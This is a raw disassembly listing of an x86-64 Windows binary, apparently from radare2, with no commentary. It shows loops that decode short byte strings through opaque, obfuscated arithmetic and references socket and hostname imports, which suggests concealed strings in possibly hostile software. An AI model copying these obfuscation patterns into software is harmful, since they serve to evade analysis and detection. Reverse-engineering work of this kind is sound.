jb 0x1400d895d
movzx edi, r11b
lea ecx, [rdi - 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea ebx, [rcx*2 - 0x60]
jmp 0x1400d8f29
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
cmp r9, 9
jae 0x1400d8e48
lea rax, [r8 + 0x28]
cmp r9, rax
jbe 0x1400d8d76
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x10
add bl, dl
jmp 0x1400d8982
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x28
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x1400d8e6f
lea rax, [r8 + 0x61]
cmp r9, rax
jbe 0x1400d8c6e
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400d89c1
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x70
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400d8523
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400d9024
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
jmp 0x1400d8fdd
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400d8fae
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x30
jmp 0x1400d8fab
lea ecx, [r11 + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x10
dec r11
inc r11
jmp 0x1400d8523
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x80
inc r8
dec r11
inc r11
jmp 0x1400d8523
movzx edi, r11b
lea edx, [rdi - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400d8f29
lea rax, [r8 + 0x2a]
cmp r9, rax
jae 0x1400d8b6b
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400d8a06
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400d8ba4
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400d8523
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400d8bcb
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400d8fdd
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400d8bf2
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x80
jmp 0x1400d8fae
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400d8c16
lea ecx, [r11 + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x10
jmp 0x1400d8fab
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400d8c40
movzx edi, r11b
lea edx, [rdi + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400d8f6e
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400d8a06
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x30
dec r11
inc r11
jmp 0x1400d8523
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400d8c96
movzx edi, r11b
lea edx, [rdi + 8]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1400d8f29
inc rax
cmp r9, rax
jne 0x1400d8cc5
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r8
dec r11
inc r11
jmp 0x1400d8523
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400d8cef
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x58
dec r11
inc r11
jmp 0x1400d8523
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400d8d12
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 8
jmp 0x1400d8fae
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400d8d39
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400d8fdd
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400d89c1
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400d8523
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400d8daf
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400d8523
inc rax
cmp r9, rax
jne 0x1400d8dd3
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x30
add bl, dl
jmp 0x1400d9024
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400d8dfa
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400d8fdd
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400d8e20
movzx edi, r11b
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x70
jmp 0x1400d8f6e
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400d8982
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
dec r11
inc r11
jmp 0x1400d8523
movzx edi, r11b
lea edx, [rdi - 0x40]
movzx eax, dl
and al, r10b
add al, al
movzx ebx, byte [rbp + r11 + 0x1d0]
sub bl, al
sub bl, 0x40
add bl, dl
add bl, r10b
jmp 0x1400d8f6e
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400d8fdd
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x78
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400d8523
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400d8fae
lea ecx, [r11 + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x38
jmp 0x1400d8fab
movzx edi, r11b
lea edx, [rdi + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400d8f29
movzx edi, r11b
lea edx, [rdi + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
sub dil, 0x38
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, dil
mov byte [rbp + r11 + 0x1d0], r10b
inc r8
dec r11
inc r11
jmp 0x1400d8523
movzx edi, r11b
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x28
sub dil, 0x48
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 8
add r10b, dil
add r10b, bl
mov byte [rbp + r11 + 0x1d0], r10b
jmp 0x1400d8fab
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add r9, r8
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400d8523
lea rcx, [r11 + r15]
movzx r10d, dl
and dl, cl
add dl, dl
movzx ebx, r10b
sub bl, dl
sub bl, 0x78
add bl, cl
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x1d0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x1400d9024
lea rcx, [r11 + r12]
movzx r10d, dl
and dl, cl
mov eax, ntohl
sub al, dl
lea ebx, [rax + rax]
add bl, r10b
add bl, cl
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, cl
mov byte [rbp + r11 + 0x1d0], r10b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400d8523
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x58
movzx eax, byte [rbp + r11 + 0x1d0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400d8523
sub r11b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
xor edi, edi
jmp 0x1400d8520
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x58
xor edi, edi
jmp 0x1400d8512
lea rax, [rbp + 0x1636470]
jmp 0x1400d90ec
lea rax, [rbp + 0x176f268]
jmp 0x1400d90ec
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x3d0], rax
xor r8d, r8d
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp - 0x78]
call fcn.140025300
nop
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x58]
call fcn.140024050
nop
lea rcx, [rbp - 0x78]
call fcn.1400247a0
mov byte [rbp - 0x30], 0x59
mov byte [rbp - 0x2f], 0x59
mov byte [rbp - 0x2e], 0x5a
mov byte [rbp - 0x2d], 0x5b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
mov qword [rbp - 0x1c], rax
mov word [rbp - 0x14], ax
movabs r14, 0xc58789a65ee3130c
movabs r15, 0xf1c3d6d955fbab6c
movabs r12, 0x50969cf31ca93924
movzx r11d, byte [rbp + 0x3c0]
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
xor ebx, ebx
cmp rbx, 0x1e
jae 0x1400d9be3
movzx r10d, byte [rbp + rbx - 0x30]
mov rdi, r10
cmp r8, rbx
ja 0x1400d9bdb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d91c1
lea rcx, [rbx + r14]
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
sub r11b, 0x54
jmp 0x1400d91f0
je 0x1400d9b67
inc rax
cmp r8, rax
je 0x1400d9b33
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d9b0e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d9ad0
nop dword [rax]
cmp r9, rbx
ja 0x1400d9bd3
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d921e
lea edx, [rbx - 4]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d9240
je 0x1400d9ab4
inc rax
cmp r8, rax
je 0x1400d9a6f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d99f1
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d9754
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d973a
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d9712
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d96f2
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d97fb
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d96d0
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d96b6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d9699
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d967a
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d9652
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d9250
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d9bb4
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d9b95
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d943f
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d9420
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d9401
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400d960b
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d95ca
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d958a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400d9568
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d9250
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d953b
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d951c
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d94ff
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400d94e0
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d94c0
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d94a3
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d9496
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d9473
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d9459
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d9250
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x7a]
jmp 0x1400d9250
lea edx, [rbx - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d9240
lea edx, [rbx + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d91f0
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
jmp 0x1400d9192
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x1400d9ae5
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
inc r9
dec rbx
inc rbx
jmp 0x1400d9182
lea edx, [rbx - 0x50]
mov ecx, Ordinal_27
jmp 0x1400d9b16
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
movzx edi, bl
jmp 0x1400d9a8c
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
add r8, r9
jmp 0x1400d9b4e
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d9b4e
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
movzx edi, bl
jmp 0x1400d9a0d
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d9a35
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d9182
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
mov byte [rbp + rbx - 0x30], r11b
inc rbx
jmp 0x1400d9182
lea edx, [rbx - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 0x61
jb 0x1400d957d
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x1400d9ae5
lea edx, [rbx - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 0x10
jae 0x1400d99b8
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400d9901
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohl
jmp 0x1400d9598
lea ecx, [rbx - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1400d99d8
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400d9832
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 4
jmp 0x1400d95e4
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d9182
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d9a35
movzx edi, bl
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x1400d9a0d
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1400d9b4e
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x1400d9b4e
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
dec rbx
inc rbx
jmp 0x1400d9182
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400d9182
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x1400d9ae5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d9777
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
jmp 0x1400d9620
jne 0x1400d97a6
lea edx, [rbx - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d9182
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d97cc
movzx edi, bl
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x1400d9a0d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d97f2
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
add r8, r9
jmp 0x1400d9b4e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d9818
movzx edi, bl
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x1400d9a8c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d9620
lea edx, [rbx - 0x78]
mov ecx, 0x24
jmp 0x1400d9b16
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d985a
lea edx, [rbx - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d9ae5
inc rax
cmp r8, rax
jne 0x1400d9884
movzx edi, bl
lea edx, [rdi + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d9a8c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d98aa
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
add r8, r9
jmp 0x1400d9b4e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d98d2
lea edx, [rbx + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d9b4e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d95e4
movzx edi, bl
lea edx, [rdi - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d9a0d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d9937
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d9182
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d995d
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
add r8, r9
jmp 0x1400d9b4e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d9988
movzx edi, bl
lea edx, [rdi + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d9a8c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d95a4
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
dec rbx
inc rbx
jmp 0x1400d9182
movzx edi, bl
lea edx, [rdi - 0x20]
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx - 0x30]
sub r11b, al
sub r11b, 0x20
jmp 0x1400d9a86
movzx edi, bl
lea edx, [rdi - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400d9a0a
movzx edi, bl
lea edx, [rdi - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7c
add r11b, dl
add dil, 4
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x1c
add dil, r10b
movzx eax, dil
mov byte [rbp + rbx - 0x30], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x70
add cl, r10b
mov byte [rbp + rbx - 0x30], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d9182
movzx edi, bl
lea edx, [rdi + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
sub dil, 0x14
movzx eax, dil
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x74
add cl, dil
add cl, r10b
mov byte [rbp + rbx - 0x30], cl
add r8, r9
jmp 0x1400d9b4e
lea edx, [rbx + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400d9ae5
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
lea edx, [rbx - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx - 0x30], cl
inc r9
dec rbx
inc rbx
jmp 0x1400d9182
lea edx, [rbx - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400d9182
lea rdx, [rbx + r15]
movzx eax, dil
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d9182
lea rdx, [rbx + r12]
movzx eax, dil
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d9182
add bl, 0x3c
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400d9180
add bl, 0x24
movzx eax, bl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400d9170
mov esi, dword [rbp + 0x150cbe0]
jmp 0x1400d9be6
mov esi, dword [rbp + 0x173deec]
jmp 0x1400d9be6
mov esi, dword [rbp - 0x30]
lea rcx, [rbp - 0x58]
call fcn.140024810
mov r14, rax
mov byte [rbp - 0x10], 0xe7
mov byte [rbp - 0xf], 0xe1
mov byte [rbp - 0xe], 0xff
mov byte [rbp - 0xd], 0xe5
mov byte [rbp - 0xc], 0x92
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0xb], xmm0
mov dword [rbp + 5], eax
movabs r15, 0xbc6e3c526aa28293
movabs r13, 0x2703a640ea719205
movabs r12, 0x354ab4f73fe787b9
movzx edx, byte [rbp + 0x3c0]
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
xor ebx, ebx
mov r11d, ebx
cmp r11, 0x19
jae 0x1400da621
movzx r10d, byte [rbp + r11 - 0x10]
mov rbx, r10
nop dword [rax + rax]
cmp r8, r11
ja 0x1400da618
